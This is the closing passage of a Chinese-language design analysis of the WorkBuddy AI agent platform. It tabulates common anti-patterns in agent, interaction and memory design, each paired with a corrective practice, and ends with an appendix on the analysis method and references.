| Unix 哲学 | ✅ 必须 | ✅ 保持 | 从一开始就用 CLI 优先 |
13. 常见反模式
13.1 过度设计反模式
| 反模式 | 表现 | 后果 | 纠正 |
|---|---|---|---|
| 万能 Agent | 试图让一个 Agent 做所有事 | 上下文臃肿、响应慢、错误率高 | 拆分为专门 Agent，通过委派协作 |
| 提示词膨胀 | 把所有知识塞进系统提示词 | 越关键的指令越容易被淹没 | 分层：提示词→CODEBUDDY.md→Skills→Hooks |
| 安全 = 一道锁 | 只在入口处做一次权限检查 | 一旦绕过，全线暴露 | 纵深防御：规则→检查→沙箱→Hook 多层 |
| 用户背锅 | Agent 做错了说”是您让我做的” | 信任崩塌 | Agent 应该对自己产出的东西有判断力 |
| 伪验证 | Agent 说”已完成”但实际没验证 | 隐蔽的 bug 流入生产 | 强制可验证的输出标准 |
13.2 交互设计反模式
| 反模式 | 表现 | 纠正 |
|---|---|---|
| 模式切换门槛高 | 需要菜单→设置→确认才能切换模式 | 一键切换 + 状态栏显示 |
| 错误纠正循环 | 同一个错反复纠正，上下文被污染 | 两次后 /clear + 更好提示 |
| 调研污染 | 调研任务读了 100 个文件塞满上下文 | 用子代理隔离调研 |
| 权限疲劳 | 每次操作都弹窗，用户机械点”允许” | 按场景分级放行（信任目录、模式切换） |
13.3 记忆设计反模式
| 反模式 | 表现 | 纠正 |
|---|---|---|
| 只读不写 | Agent 被动读记忆，不主动写 | Agent 必须主动判断并记录 |
| 从不清理 | 记忆文件无限增长 | 定期蒸馏（>30 天 → 结构化笔记） |
| 盲目存所有对话 | 用向量库存每一次对话 | 向量库 + 结构化日志 + 蒸馏三层互补 |
| 记忆与安全混淆 | 在记忆文件中存储密钥 | 记忆文件是明文，绝不可存敏感信息 |
附录：参考资料与方法论
分析方法
本分析基于以下方法论的组合：
- 系统提示词解构：分析 Agent 收到的完整系统指令，拆解角色定义、工具编排、权限规则、记忆注入等模块
- 文档阅读与交叉验证：阅读官方 CLI 文档、最佳实践、安全策略，与系统提示词中的设计对照验证
- 架构推理：从文件和工具的组织方式逆向推导架构决策
- 模式提取：将重复出现的解决方案归纳为可复用的设计模式
核心参考
- WorkBuddy CLI 官方文档（overview, best-practices, permissions, skills, hooks, memory, checkpointing, goal, mcp）
- WorkBuddy 系统提示词结构分析
- SOUL.md / IDENTITY.md / USER.md 身份文件体系
- Built-in Skills（skill-creator, expert-manager, wb-finance-skill 等）
- Plugin 体系（plugin.json, hooks.json, marketplace.json）
设计思想的普适性
虽然本文的分析素材来自 WorkBuddy，但提炼出的 8 大设计原则、12 个设计模式和 3 类反模式具有通用性。它们适用于：
- AI 编程助手（如 WorkBuddy, Claude Code, GitHub Copilot, Cursor）
- 通用 AI Agent 平台（如 LangChain Agent, AutoGPT）
- 垂直领域 Agent（金融分析、医疗辅助、法律咨询）
- 企业内部智能助手（运维 Agent、客服 Agent、数据分析 Agent）
核心在于：Agent 不是 Chatbot 的升级版，而是一种全新的交互范式。它需要全新的设计哲学、安全模型和能力扩展体系。
这份文档是一个起点，不是终点。Agent 系统设计是一个快速演化的领域，本文的分析框架应该随着实践不断更新。
如果你正在设计 Agent 系统，希望这份文档能给你一个系统化的思考框架，帮助你做出更好的设计决策。